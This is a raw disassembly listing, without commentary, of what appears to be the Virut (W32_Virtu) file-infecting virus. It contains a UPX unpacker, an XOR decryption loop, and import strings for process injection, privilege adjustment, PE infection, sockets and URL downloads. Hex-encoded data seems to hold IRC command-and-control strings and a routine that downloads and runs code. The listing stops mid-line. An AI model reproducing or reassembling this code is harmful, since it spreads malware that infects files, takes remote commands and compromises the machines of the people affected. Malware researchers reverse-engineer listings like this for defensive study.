8000002Eh, 20AE0D59h, 0FF000001h, 0 ; --------------------------------------------------------------------------- pusha mov esi, offset dword_30905000 lea edi, [esi-4000h] push edi or ebp, 0FFFFFFFFh jmp short loc_30906B22 ; --------------------------------------------------------------------------- align 8 loc_30906B18: ; CODE XREF: UPX1:loc_30906B29j mov al, [esi] inc esi mov [edi], al inc edi loc_30906B1E: ; CODE XREF: UPX1:30906BB6j ; UPX1:30906BCDj add ebx, ebx jnz short loc_30906B29 loc_30906B22: ; CODE XREF: UPX1:30906B10j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_30906B29: ; CODE XREF: UPX1:30906B20j jb short loc_30906B18 mov eax, 1 loc_30906B30: ; CODE XREF: UPX1:30906B3Fj ; UPX1:30906B4Aj add ebx, ebx jnz short loc_30906B3B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_30906B3B: ; CODE XREF: UPX1:30906B32j adc eax, eax add ebx, ebx jnb short loc_30906B30 jnz short loc_30906B4C mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_30906B30 loc_30906B4C: ; CODE XREF: UPX1:30906B41j xor ecx, ecx sub eax, 3 jb short loc_30906B60 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_30906BD2 mov ebp, eax loc_30906B60: ; CODE XREF: UPX1:30906B51j add ebx, ebx jnz short loc_30906B6B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_30906B6B: ; CODE XREF: UPX1:30906B62j adc ecx, ecx add ebx, ebx jnz short loc_30906B78 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_30906B78: ; CODE XREF: UPX1:30906B6Fj adc ecx, ecx jnz short loc_30906B9C inc ecx loc_30906B7D: ; CODE XREF: UPX1:30906B8Cj ; UPX1:30906B97j add ebx, ebx jnz short loc_30906B88 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_30906B88: ; CODE XREF: UPX1:30906B7Fj adc ecx, ecx add ebx, ebx jnb short loc_30906B7D jnz short loc_30906B99 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_30906B7D loc_30906B99: ; CODE XREF: UPX1:30906B8Ej add ecx, 2 loc_30906B9C: ; CODE XREF: UPX1:30906B7Aj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_30906BBC loc_30906BAD: ; CODE XREF: UPX1:30906BB4j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_30906BAD jmp loc_30906B1E ; --------------------------------------------------------------------------- align 4 loc_30906BBC: ; CODE XREF: UPX1:30906BABj ; UPX1:30906BC9j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_30906BBC add edi, ecx jmp loc_30906B1E ; --------------------------------------------------------------------------- loc_30906BD2: ; CODE XREF: UPX1:30906B5Cj pop esi mov edi, esi mov ecx, 86h loc_30906BDA: ; CODE XREF: UPX1:30906BE1j ; UPX1:30906BE6j mov al, [edi] inc edi sub al, 0E8h loc_30906BDF: ; CODE XREF: UPX1:30906C04j cmp al, 1 ja short loc_30906BDA cmp byte ptr [edi], 1 jnz short loc_30906BDA mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_30906BDF lea edi, [esi+4000h] loc_30906C0C: ; CODE XREF: UPX1:30906C2Ej mov eax, [edi] or eax, eax jz short loc_30906C57 mov ebx, [edi+4] lea eax, [eax+esi+6000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+608Ch] xchg eax, ebp loc_30906C29: ; CODE XREF: UPX1:30906C4Fj mov al, [edi] inc edi or al, al jz short loc_30906C0C mov ecx, edi jns short near ptr loc_30906C3A+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_30906C3A: ; CODE XREF: UPX1:30906C32j mov ecx, 0AEF24857h push ebp call dword ptr [esi+6090h] or eax, eax jz short loc_30906C51 mov [ebx], eax add ebx, 4 jmp short loc_30906C29 ; --------------------------------------------------------------------------- loc_30906C51: ; CODE XREF: UPX1:30906C48j call dword ptr [esi+6094h] loc_30906C57: ; CODE XREF: UPX1:30906C10j popa jmp loc_309022DF ; --------------------------------------------------------------------------- align 400h UPX1 ends ; Section 3. (virtual address 00007000) ; Virtual size : 00009000 ( 36864.) ; Section size in file : 00009000 ( 36864.) ; Offset to raw data for section: 00007000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX2 segment para public 'CODE' use32 assume cs:UPX2 ;org 30907000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 3 dup(0) dd 70C4h, 708Ch, 3 dup(0) dd 70D1h, 709Ch, 3 dup(0) dd 70DEh, 70A4h, 3 dup(0) dd 70E9h, 70ACh, 3 dup(0) dd 70F4h, 70B4h, 3 dup(0) dd 7100h, 70BCh, 5 dup(0) dd 77E805D8h, 77E7A5FDh, 77E75CB5h, 0 dd 77DD189Ah, 0 dd 77C3528Dh, 0 dd 77D4C96Ah, 0 dd 7620AFB6h, 0 dd 71AB1A6Dh, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h dd 642E3233h, 6C6Ch, 64616F4Ch, 7262694Ch, 41797261h, 65470000h dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 61720000h dd 646Eh, 72707377h, 66746E69h, 41h, 65746E49h, 74656E72h dd 6E65704Fh, 41h, 26h dup(0) ; --------------------------------------------------------------------------- public start start: pop ebx call loc_3090725F mov esp, [esp+8] mov eax, 4EBh ; CODE XREF: UPX2:3090720Fj jmp short near ptr loc_3090720A+1 ; --------------------------------------------------------------------------- mov eax, fs:18h mov eax, [eax+30h] movzx eax, byte ptr [eax+2] cmp eax, 0 jnz short locret_3090725E call $+5 pop ebp sub ebp, 402320h mov eax, [ebp+402367h] add eax, [ebp+40236Fh] mov esi, eax mov eax, [ebp+40236Bh] add eax, [ebp+40236Fh] push eax mov edi, esi xor ecx, ecx loc_3090724D: ; CODE XREF: UPX2:3090725Cj lodsb xor al, [ebp+402377h] stosb inc ecx cmp ecx, [ebp+402373h] jl short loc_3090724D locret_3090725E: ; CODE XREF: UPX2:30907220j retn ; --------------------------------------------------------------------------- loc_3090725F: ; CODE XREF: UPX2:30907201p sub eax, eax push dword ptr fs:[eax] mov fs:[eax], esp mov eax, 12345678h xchg eax, [ebx] add [eax+0], dl ; --------------------------------------------------------------------------- db 2 dup(0), 6Bh dd 0 db 90h db 30h, 0, 1Eh dd 90300000h, 0E8h, 24048B00h, 242B80F7h, 0 dd 98898000h, 29ACh, 4245C8Bh, 59FC2D74h, 29B0B089h, 0B8890000h dd 29B4h, 242FB880h, 75E80000h, 3098030Dh, 8B000024h, 33FF025Bh dd 988B08EBh, 2431h, 555B33FFh, 246C8195h, 8504h, 0E38100h dd 81FFFFF0h, 401006EDh, 247C8B00h, 3CB58D04h, 0B9004034h dd 79h, 7B81A4F3h, 6968544Eh, 8B0D7573h, 48D3C43h, 38816618h dd 8744550h, 100EB81h, 0E2750000h, 378508Bh, 20728BD3h dd 3184A8Bh, 3AD51F3h, 0FF7881C3h, 74654700h, 78811B75h dd 6F725003h, 81127563h, 64410778h, 9757264h, 650B7881h dd 74007373h, 59D7E205h, 0C29C35Dh, 24728B24h, 0FF30359h dd 8B4E04B7h, 0FB031C7Ah, 387348Bh, 0CE8F3h, 6C430000h dd 4865736Fh, 6C646E61h, 0FF530065h, 3C8589D6h, 0E8004035h dd 0Dh, 61657243h, 76456574h, 41746E65h, 0D6FF5300h, 35408589h dd 0DE80040h, 47000000h, 614C7465h, 72457473h, 726F72h dd 89D6FF53h, 40354485h, 70E800h, 0C0850000h, 0FF502174h dd 40354495h, 75C08500h, 0D2858D10h, 8A004011h, 6EE8FF50h dd 0EB000000h, 3C95FF7Ch, 0F7004035h, 40343185h, 0 ; --------------------------------------------------------------------------- xor byte ptr [esi+ebx-73h], 0B5h xor eax, 8B004034h jl short loc_30907414 add al, 0A4h movsd mov ebx, [ebp+4039B2h] mov esi, [ebp+4039B6h] mov edi, [ebp+4039BAh] pop ebp retn ; --------------------------------------------------------------------------- db 5Ah aJjjj: unicode 0, <jjjj> dd 4000168h ; --------------------------------------------------------------------------- loc_30907414: ; CODE XREF: UPX2:309073EEj add [ebx+50006AC4h], cl push 0Ch mov eax, esp jmp edx ; --------------------------------------------------------------------------- aVt_3 db 'VT_3',0 align 2 dw 0C933h dd 0FFFFDAE8h, 0A1958DFFh, 52004011h, 0FF505151h, 40354095h dd 20C48300h, 0B9F28AC3h, 225Fh, 2401030h, 0C3F9E2D6h dd 80A583F4h, 4015h, 1584A583h, 83000040h, 401588A5h, 858B0000h dd 403431h, 16AC933h, 858F20B1h, 40397Eh, 0E8D1D233h, 0C0C2920Fh dd 950103E2h, 40397Eh, 0C657EEE2h, 40130385h, 0B5890100h dd 403548h, 15BBB58Dh, 0C9330040h, 3558BD8Dh, 1EB10040h dd 35EE8h, 95FF5F00h, 403594h, 0F1FE8C1h, 0D484h, 14478B00h dd 0C303406Ah, 100068h, 50858908h, 68004035h, 69CEh, 95FF006Ah dd 4035C8h, 840FC085h, 0FFFFFEF1h, 0B58D97h, 8B004010h dd 0A74B9EFh, 0ED810000h, 401000h, 1283958Dh, 0A5F30040h dd 0EC83E2FFh, 6AFC8B20h, 59C03308h, 1A3D958Dh, 0ABF30040h dd 5789FC8Bh, 1C47FE10h, 36857h, 95FF0001h, 403550h, 8520C483h dd 0A2840FC0h, 97FFFFFEh, 16A006Ah, 40068h, 6880h, 95FF0001h dd 403550h, 840FC085h, 0FFFFFE85h, 6850006Ah, 40000h, 0E8C1006Ah dd 16A570Ch, 16850h, 95FF0001h, 403550h, 1000A68h, 5095FF00h dd 0E8004035h, 5, 0FFFE54E9h, 59016AFFh, 0A6A0AE3h, 35BC95FFh dd 0F1EB0040h, 70BD83C3h, 4035h, 0FE37840Fh, 6E8FFFFh dd 4E000000h, 4C4C4454h, 8895FF00h, 8D004035h, 401773B5h dd 8DC93300h, 4035D0BDh, 930BB100h, 246E8h, 0F8BD8300h dd 4035h, 0FE03840Fh, 858BFFFFh, 4035D4h, 8F0170FFh, 40339585h dd 0E8858B00h, 0FF004035h, 858F0170h, 4033E2h, 35D8858Bh dd 70FF0040h, 0E9858F01h, 8B004033h, 4035DC8Dh, 0FF09E300h dd 858F0171h, 4033F6h, 0FFFDF2E8h, 4EBD8DFFh, 8B004036h dd 0F6006ACFh, 470FFD9h, 6A03E183h, 57F90340h, 186A006Ah dd 159FB58Dh, 1CB90040h, 8B000000h, 4D048DD4h, 0FFFFFFFEh dd 48DAB66h, 4Dh, 8DAB6600h, 32AB0447h, 0AB66ACE4h, 6AFBE2h dd 69CE68h, 6ACC8B00h, 6AC48B00h, 6800h, 406A0800h, 0E6A5251h dd 0E095FF50h, 58004035h, 6840C483h, 69CEh, 6AD48Bh, 406ACC8Bh dd 26A006Ah, 68006A52h, 69CEh, 6A51006Ah, 95FF50FFh, 4035E4h dd 0FF85595Fh, 0FD27840Fh, 0B58DFFFFh, 401000h, 0A74B9h dd 0F3EF8B00h, 0ED81A5h, 8D004010h, 40144C85h, 8DE0FF00h dd 4018E095h, 95FF5200h, 40359Ch, 16E8h, 6F6F4C00h, 5070756Bh dd 69766972h, 6567656Ch, 756C6156h, 50004165h, 354895FFh dd 85890040h, 40354Ch, 206A5450h, 95FFFF6Ah, 4035ECh, 755FC085h dd 26A963Fh, 0D48B5656h, 0E852016Ah, 11h, 65446553h, 50677562h dd 69766972h, 6567656Ch, 95FF5600h, 40354Ch, 5656C48Bh dd 57565056h, 35D095FFh, 0C4830040h, 95FF5710h, 40353Ch dd 26A006Ah, 357095FFh, 28B90040h, 97000001h, 0C89E12Bh dd 0FF575424h, 4035AC95h, 83F63300h, 40363CA5h, 57540000h dd 35B095FFh, 0C0850040h, 83465C74h, 0EE7204FEh, 82474FFh dd 2A6A006Ah, 35A895FFh, 0C0850040h, 0E893DC74h, 43Dh dd 0E391C933h, 3C853930h, 75004036h, 0AEC18128h, 5000000Dh dd 51565054h, 0FF535050h, 40356895h, 59C08500h, 74FF0F74h dd 858F0824h, 40363Ch, 0FFFDACE8h, 95FF53FFh, 40353Ch dd 0C48198EBh, 128h, 3C95FF57h, 0E9004035h, 0FFFFFBE5h dd 5800498Dh, 0CE005858h, 65000029h, 0Dh, 2 dup(0) db 0 db 2 dup(0), 51h dd 95FF5356h, 403548h ; --------------------------------------------------------------------------- stosd pop ecx loc_30907816: ; CODE XREF: UPX2:30907819j lodsb test al, al jnz short loc_30907816 ; --------------------------------------------------------------------------- aTuBasenamedobj db 'âîÃ\BaseNamedObjects\W32_Virtu',0 aLstrlen db 'lstrlen',0 aCreatefilea db 'CreateFileA',0 aCreatefilemapp db 'CreateFileMappingA',0 aCreateprocessa db 'CreateProcessA',0 aCreateremote_0 db 'CreateRemoteThread',0 aCreatethread db 'CreateThread',0 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 aExitthread db 'ExitThread',0 aFiletimetosyst db 'FileTimeToSystemTime',0 aGetfileattribu db 'GetFileAttributesA',0 aGetfilesize db 'GetFileSize',0 aGetfiletime db 'GetFileTime',0 aGetmodulehandl db 'GetModuleHandleA',0 aGettempfilenam db 'GetTempFileNameA',0 aGettemppatha db 'GetTempPathA',0 aGetversion db 'GetVersion',0 aGetversionexa db 'GetVersionExA',0 aLoadlibrarya db 'LoadLibraryA',0 aMapviewoffile db 'MapViewOfFile',0 aOpenfilemappin db 'OpenFileMappingA',0 aOpenprocess db 'OpenProcess',0 aProcess32first db 'Process32First',0 aProcess32next db 'Process32Next',0 aSetfileattribu db 'SetFileAttributesA',0 aSetfiletime db 'SetFileTime',0 aSleep db 'Sleep',0 aSystemtimetofi db 'SystemTimeToFileTime',0 aUnmapviewoffil db 'UnmapViewOfFile',0 aVirtualalloc db 'VirtualAlloc',0 aWritefile db 'WriteFile',0 aNtadjustprivil db 'NtAdjustPrivilegesToken',0 aNtcreatefile db 'NtCreateFile',0 aNtcreateproces db 'NtCreateProcess',0 aNtcreateproc_0 db 'NtCreateProcessEx',0 aNtcreatesectio db 'NtCreateSection',0 aNtmapviewofsec db 'NtMapViewOfSection',0 aNtopenfile db 'NtOpenFile',0 aNtopenprocesst db 'NtOpenProcessToken',0 aNtprotectvirtu db 'NtProtectVirtualMemory',0 aNtwritevirtual db 'NtWriteVirtualMemory',0 aRtlunicodestri db 'RtlUnicodeStringToAnsiString',0 aWsastartup db 'WSAStartup',0 aClosesocket db 'closesocket',0 aConnect db 'connect',0 aGethostbyname db 'gethostbyname',0 aRecv db 'recv',0 aSend db 'send',0 aSocket db 'socket',0 aInternetcloseh db 'InternetCloseHandle',0 aInternetgetcon db 'InternetGetConnectedState',0 aInternetopena db 'InternetOpenA',0 aInternetopenur db 'InternetOpenUrlA',0 aInternetreadfi db 'InternetReadFile',0 aAdvapi32_dll db 'ADVAPI32.DLL',0 aRegclosekey db 'RegCloseKey',0 aRegopenkeyexa db 'RegOpenKeyExA',0 aRegqueryvaluee db 'RegQueryValueExA',0 aRegsetvalueexa db 'RegSetValueExA',0 ; =============== S U B R O U T I N E ======================================= sub_30907BA6 proc near ; CODE XREF: UPX2:30907C4Dp ; UPX2:30907C5Ep ... var_5 = byte ptr -5 sub ecx, 5 sub ecx, eax push ecx push 0E8000000h lea ecx, [esp+8+var_5] push 0 push 5 push ecx push eax push ebx push 5 mov ecx, esp push eax mov edx, esp push eax push esp push 40h push ecx push edx push ebx call dword ptr [ebp+4035F0h] add esp, 0Ch call dword ptr [ebp+4035F4h] add esp, 8 retn sub_30907BA6 endp ; --------------------------------------------------------------------------- push edi lea eax, [ebp+4015B1h] xor edi, edi push eax push 0 push 0Eh call dword ptr [ebp+4035A4h] test eax, eax jz loc_30907C89 push eax push 69CEh mov edx, esp push 0 mov ecx, esp push 40h push 100000h push 2 push edx push 0 push 69CEh push 0 push ecx push ebx push eax call dword ptr [ebp+4035E4h] pop edi pop ecx call dword ptr [ebp+40353Ch] test edi, edi jz short loc_30907C89 mov ecx, [ebp+401588h] jecxz short loc_30907C41 lea edx, [ebp+401000h] add edx, ecx push edi push ebx call edx loc_30907C41: ; CODE XREF: UPX2:30907C33j mov eax, [ebp+4035D4h] lea ecx, [edi+2394h] call sub_30907BA6 mov eax, [ebp+4035E8h] lea ecx, [edi+23E1h] call sub_30907BA6 mov eax, [ebp+4035D8h] lea ecx, [edi+23E8h] call sub_30907BA6 mov eax, [ebp+4035DCh] test eax, eax jz short loc_30907C89 lea ecx, [edi+23F5h] call sub_30907BA6 loc_30907C89: ; CODE XREF: UPX2:30907BF3j ; UPX2:30907C2Bj ... mov eax, edi pop edi retn ; --------------------------------------------------------------------------- push ebp call $+5 pop ebp sub ebp, 401A14h xor ecx, ecx lea eax, [ebp+401DAEh] push ecx push esp push ecx push ecx push eax push ecx push ecx call dword ptr [ebp+40356Ch] xchg eax, [esp] call dword ptr [ebp+40353Ch] pop ebp retn 4 ; --------------------------------------------------------------------------- dd 0E855h, 815D0000h, 401A43EDh, 8DFF6A00h, 401A0E95h dd 0CD525000h, 2A002420h, 0CC48300h, 5485C766h, 0CD00401Ah dd 5685C720h, 2400401Ah, 5D002A00h, 6A016AC3h, 0FF33FF01h dd 15FF0473h, 0F074C085h, 0B68h, 5BD08B00h, 8D3C5003h dd 401A72B5h, 0CBA8B00h, 8B000001h, 1088Ah, 2BF80300h dd 0CB8B60CBh, 7461A6F3h, 0F5E24705h, 0C783C2EBh, 0D48B570Fh dd 50CC8B53h, 51406A54h, 0FFFF6A52h, 4035F095h, 0CC48300h dd 3574958Bh, 0D72B0040h, 0C707EA83h, 0E8006A07h, 3578900h dd 581A6AC3h, 9E8h, 61428D00h, 75C9FEAAh db 0F0h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_30907D6E proc near ; CODE XREF: sub_309085D9+1Bp ; sub_30908751+3p ... imul edx, [ebp+403646h], 8088405h inc edx mov [ebp+403646h], edx mul edx retn sub_30907D6E endp ; --------------------------------------------------------------------------- dw 0E855h align 8 dd 9ED815Dh, 8B00401Bh, 40364A9Dh, 247C8300h, 840F0008h dd 0B9h, 208EC81h, 68540000h, 104h, 359095FFh, 0FC8B0040h dd 424848Dh, 50000001h, 4E8006Ah, 56000000h, 57005452h dd 358C95FFh, 0C9330040h, 104978Dh, 51510000h, 6A51026Ah dd 6801h, 0FF524000h, 40355C95h, 0F6859600h, 54505B74h dd 10468h, 0B4FF5700h, 22024h, 2895FF00h, 59004036h, 1674C085h dd 8B5014E3h, 52006AD4h, 0FF565751h, 4035CC95h, 0C0855900h dd 0FF56D075h, 40353C95h, 44578D00h, 446A5752h, 4978D58h dd 0AB000001h, 106AC033h, 50ABF359h, 50505050h, 0FF525050h dd 40356495h, 8C48100h, 0FF000002h, 0FF082474h, 40361895h dd 95FF5300h, 403618h, 4C25Dh, 750A3E80h, 8D8B4601h, 401584h dd 958D19E3h, 401000h, 0FF56D103h, 0FC084D2h, 11F88h, 10840F00h dd 80000001h, 10753A3Eh, 3E8046h, 101840Fh, 3E800000h dd 46F17520h, 49503E81h, 4275474Eh, 46C6CF8Bh, 0CE2B4F01h dd 51006A51h, 95FF5356h, 403610h, 0FC13B59h, 0DF85h, 0A2858D00h dd 6A00401Dh, 0C6800h, 53500000h, 361095FFh, 0C3D0040h dd 0F000000h, 0BF85h, 0B1E900h, 3E810000h, 56495250h, 0A5850Fh dd 0C6830000h, 0D3CAC08h, 99840Fh, 203C0000h, 3CACF375h dd 8C850F3Ah, 0AD000000h, 2020200Dh, 67213D20h, 7F757465h dd 75203CACh, 0FF7E817Ch, 74746820h, 7E817175h, 2F3A7003h dd 0C668752Fh, 0F00FF47h, 2710BA31h, 0E2F70000h, 0BC95FF52h dd 33004035h, 505050C0h, 9E850h, 6F440000h, 6F6C6E77h dd 0FF006461h, 40362095h, 74C08500h, 89C93336h, 40364A85h dd 685100h, 51800002h, 0FF505651h, 40362495h, 3958D00h dd 5000401Bh, 5154C933h, 51515250h, 356C95FFh, 4870040h dd 3C95FF24h, 0F8004035h, 778D80C3h, 1004015h, 4F53C3F9h dd 41575446h, 4D5C4552h, 6F726369h, 74666F73h, 6E69575Ch dd 73776F64h, 7275435Ch, 746E6572h, 73726556h, 5C6E6F69h dd 6C707845h, 7265726Fh, 72615400h, 48746567h, 74736Fh dd 0F0FF0002h, 2F2A1155h, 786F7270h, 692E6D69h, 61676372h dd 7978616Ch, 6C702Eh, 4B43494Eh, 65657520h, 72626164h dd 53550A6Dh, 72205245h, 35303230h, 2E203130h, 3A202E20h dd 494F4A2Dh, 7626204Eh, 75747269h, 0E8550Ah, 5D000000h dd 1DB4ED81h, 85C60040h, 401577h, 9495FF00h, 0C1004035h dd 3C741FE8h, 0B58B1E6Ah, 403550h, 2E3CAC59h, 81662A75h dd 751DFF3Eh, 40BD8D23h, 8B004036h, 0A5570276h, 858DA566h dd 40336Ah, 3390858Fh, 89FA0040h, 4E8CFA46h, 1B1FBFEh dd 43EBCFE2h, 15B1858Dh, 6A500040h, 0FF0E6A00h, 4035A495h dd 247C8300h, 2B750408h, 4E8h, 43465300h, 8895FF00h, 0E8004035h dd 0FFFFFC48h, 7E8h, 43465300h, 534F5Fh, 358895FFh, 31E80040h dd 0E8FFFFFCh, 0FFFFF356h, 13038DFFh, 0BE80040h, 55000000h dd 33524553h, 4C442E32h, 95FF004Ch, 40359Ch, 0AE8h, 70737700h dd 746E6972h, 50004166h, 354895FFh, 85890040h, 403554h dd 8D8D310Fh, 4018E0h, 36468589h, 0FF510040h, 40359C95h dd 4689300h, 8D000000h, 4018EDB5h, 0BD8D5900h, 40362Ch dd 0FFF6D6E8h, 85C766FFh, 401D67h, 0A583F0FFh, 401D69h dd 27958D00h, 5000401Dh, 6A016A54h, 2685200h, 0FF800000h dd 40363095h, 5AC08500h, 8D8D2275h, 401D5Ah, 8D066A52h dd 401D67B5h, 50565400h, 0FF525150h, 40363495h, 95FF5800h dd 40362Ch, 384D85C6h, 0E8000040h, 0Ch, 434F5357h, 2E32334Bh dd 4C4C44h, 359C95FFh, 68930040h, 7, 1844B58Dh, 8D590040h dd 4035FCBDh, 0F651E800h, 0CE8FFFFh, 57000000h, 4E494E49h dd 442E5445h, 0FF004C4Ch, 40359C95h, 0FC08500h, 1E784h dd 5689300h, 8D000000h, 401882B5h, 0BD8D5900h, 403618h dd 0FFF61AE8h, 1CBD83FFh, 4036h, 1C2840Fh, 0EC810000h dd 190h, 1016854h, 95FF0000h, 4035FCh, 190C481h, 8B500000h dd 52006AD4h, 361C95FFh, 0C0850040h, 680D7559h, 1388h dd 35BC95FFh, 0E2EB0040h, 1D69BD83h, 75000040h, 6D858D29h dd 5000401Dh, 360895FFh, 0C0850040h, 13B840Fh, 408B0000h dd 0FF008B0Ch, 69858F30h, 0C600401Dh, 40384D85h, 6A0100h dd 26A016Ah, 361495FFh, 0F8830040h, 12840FFFh, 93000001h dd 1D65958Dh, 106A0040h, 95FF5352h, 403604h, 850FC085h dd 0F2h, 1D86BD8Dh, 8B10040h, 0FFFABCE8h, 9468FFh, 2B5E0000h dd 243489E6h, 9895FF54h, 8D004035h, 401D94BDh, 0E801B100h dd 0FFFFFA9Dh, 1024448Bh, 0B08E0C1h, 0C1042444h, 440B08E0h dd 0E8500824h, 5, 78362E25h, 95FF5700h, 403554h, 0C60CC483h dd 8D200647h, 401D8195h, 68006A00h, 21h, 95FF5352h, 403610h dd 14247C8Dh, 5895FF57h, 0C6004035h, 400A3804h, 5750006Ah dd 1095FF53h, 3004036h, 0A2BD8DE6h, 6A00401Dh, 0C6800h dd 53570000h, 361095FFh, 0C3D0040h, 75000000h, 4EB58D4Dh dd 8D004036h, 40384D8Dh, 6ACE2B00h, 53565100h, 360C95FFh dd 0F8830040h, 912F7E00h, 0B58DFE8Bh, 40364Eh, 0AEF20DB0h dd 0E8601075h, 0FFFFFAF8h, 0E3177261h, 1778D09h, 0CF8BEAEBh dd 0BD8DCE2Bh, 40364Eh, 0F787A4F3h, 0FF53B9EBh, 40360095h dd 77BD8000h, 1004015h, 30682A74h, 0FF000075h, 4035BC95h dd 4DBD8000h, 4038h, 85C71174h, 401D69h, 0 dd 384D85C6h, 0E9000040h, 0FFFFFE56h, 158085C7h, 40h, 0C25D8000h dd 0A0D0004h, 6F6E204Fh, 6F206E6Fh, 696C2066h, 20216566h dd 6974204Fh, 7420656Dh, 6563206Fh, 7262656Ch, 21657461h dd 20200A0Dh, 4F202020h, 6D757320h, 2072656Dh, 64726167h dd 0D216E65h, 6C65520Ah, 6C746E65h, 6C737365h, 61682079h dd 20797070h, 20646E61h, 65707865h, 6E617463h, 73202C74h dd 646E6174h, 3A676E69h, 0A0D2D20h, 63746157h, 676E6968h dd 6C6C6120h, 79616420h, 646E6120h, 67696E20h, 202C7468h dd 20726F66h, 65697266h, 2073646Eh, 61772049h, 0D3A7469h dd 6568570Ah, 61206572h, 79206572h, 202C756Fh, 65697266h dd 3F73646Eh, 6D6F4320h, 49202165h, 73692074h, 6D697420h dd 49202165h, 20732774h, 6574616Ch, 570A0D21h, 0E53AAB59h dd 7E27B1FAh, 291A73C1h, 410A614h, 4830C784h, 0ED403752h dd 5C4FD479h, 6AC26CCCh, 13606EF9h, 4710A614h, 526299ADh dd 0D8B8B3h, 13h dup(0) db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_30908523 proc near ; CODE XREF: sub_3090856A:loc_309085C7p ; sub_3090862A+7p ... arg_0 = dword ptr 4 pusha and dword ptr [ebp+4039A6h], 0 and dword ptr [ebp+4039AAh], 0 movzx eax, word ptr [ebx+14h] lea edx, [ebx+18h] movzx ecx, word ptr [ebx+6] add edx, eax loc_3090853F: ; CODE XREF: sub_30908523+41j mov eax, [esp+20h+arg_0] sub eax, [edx+0Ch] jb short loc_30908561 cmp eax, [edx+8] jnb short loc_30908561 mov eax, [edx+14h] sub eax, [edx+0Ch] mov [ebp+4039A6h], edx mov [ebp+4039AAh], eax jmp short loc_30908566 ; --------------------------------------------------------------------------- loc_30908561: ; CODE XREF: sub_30908523+23j ; sub_30908523+28j add edx, 28h loop loc_3090853F loc_30908566: ; CODE XREF: sub_30908523+3Cj popa retn 4 sub_30908523 endp ; =============== S U B R O U T I N E ======================================= sub_3090856A proc near ; CODE XREF: UPX2:30908896p ; UPX2:309088BCp mov [ebp+4022F7h], al call sub_309085D9 push 20h lea eax, [ebp+402224h] pop ecx loc_30908581: ; CODE XREF: sub_3090856A+1Ej cmp [eax], ebx jz short loc_30908591 add eax, 4 loop loc_30908581 inc dword ptr [ebp+40398Eh] retn ; --------------------------------------------------------------------------- loc_30908591: ; CODE XREF: sub_3090856A+19j neg ecx add ecx, [ebp+4022F7h] jecxz short loc_309085AB loc_3090859B: ; CODE XREF: sub_3090856A+39j push dword ptr [eax-4] pop dword ptr [eax] sub eax, 4 loop loc_3090859B mov [ebp+402224h], ebx loc_309085AB: ; CODE XREF: sub_3090856A+2Fj ; sub_309085D9+34j cmp dword ptr [edx], 0 jz short loc_309085B5 sub esi, [edx] add esi, [edx+10h] loc_309085B5: ; CODE XREF: sub_3090856A+44j lea ecx, [esi-4] pop eax pop ebx pop esi cmp dword ptr [edx], 0 jz short loc_309085C4 push dword ptr [edx] jmp short loc_309085C7 ; --------------------------------------------------------------------------- loc_309085C4: ; CODE XREF: sub_3090856A+54j push dword ptr [edx+10h] loc_309085C7: ; CODE XREF: sub_3090856A+58j call sub_30908523 sub ecx, esi sub ecx, [ebp+4039AAh] pop eax add ecx, [ebx+34h] retn sub_3090856A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_309085D9 proc near ; CODE XREF: sub_3090856A+6p pop dword ptr [ebp+403992h] mov dword ptr [ebp+40398Eh], 0 call sub_3090862A mov eax, [ebp+40398Eh] call sub_30907D6E call sub_30908616 cmp dword ptr [ebp+40398Eh], 0 jnz short loc_3090860F mov [ebp+4022A0h], ebx jmp short loc_309085AB ; --------------------------------------------------------------------------- loc_3090860F: ; CODE XREF: sub_309085D9+2Cj dec dword ptr [ebp+40398Eh] retn sub_309085D9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_30908616 proc near ; CODE XREF: sub_309085D9+20p pop dword ptr [ebp+403992h] mov [ebp+40398Eh], edx call sub_3090862A xor ecx, ecx retn sub_30908616 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3090862A proc near ; CODE XREF: sub_309085D9+10p ; sub_30908616+Cp ... var_C = dword ptr -0Ch var_4 = dword ptr -4 mov edx, [ebx+80h] push edx call sub_30908523 add edx, [ebp+4039AAh] add edx, esi loc_3090863E: ; CODE XREF: sub_3090862A+120j cmp dword ptr [edx+0Ch], 0 jz locret_3090874F cmp dword ptr [edx+10h], 0 jz locret_3090874F mov eax, [edx+0Ch] push eax call sub_30908523 add eax, [ebp+4039AAh] add eax, esi push eax loc_30908664: ; CODE XREF: sub_3090862A+47j mov cl, [eax] cmp cl, 0 jz short loc_30908684 cmp cl, 2Eh jz short loc_30908673 loc_30908670: ; CODE XREF: sub_3090862A+58j inc eax jmp short loc_30908664 ; --------------------------------------------------------------------------- loc_30908673: ; CODE XREF: 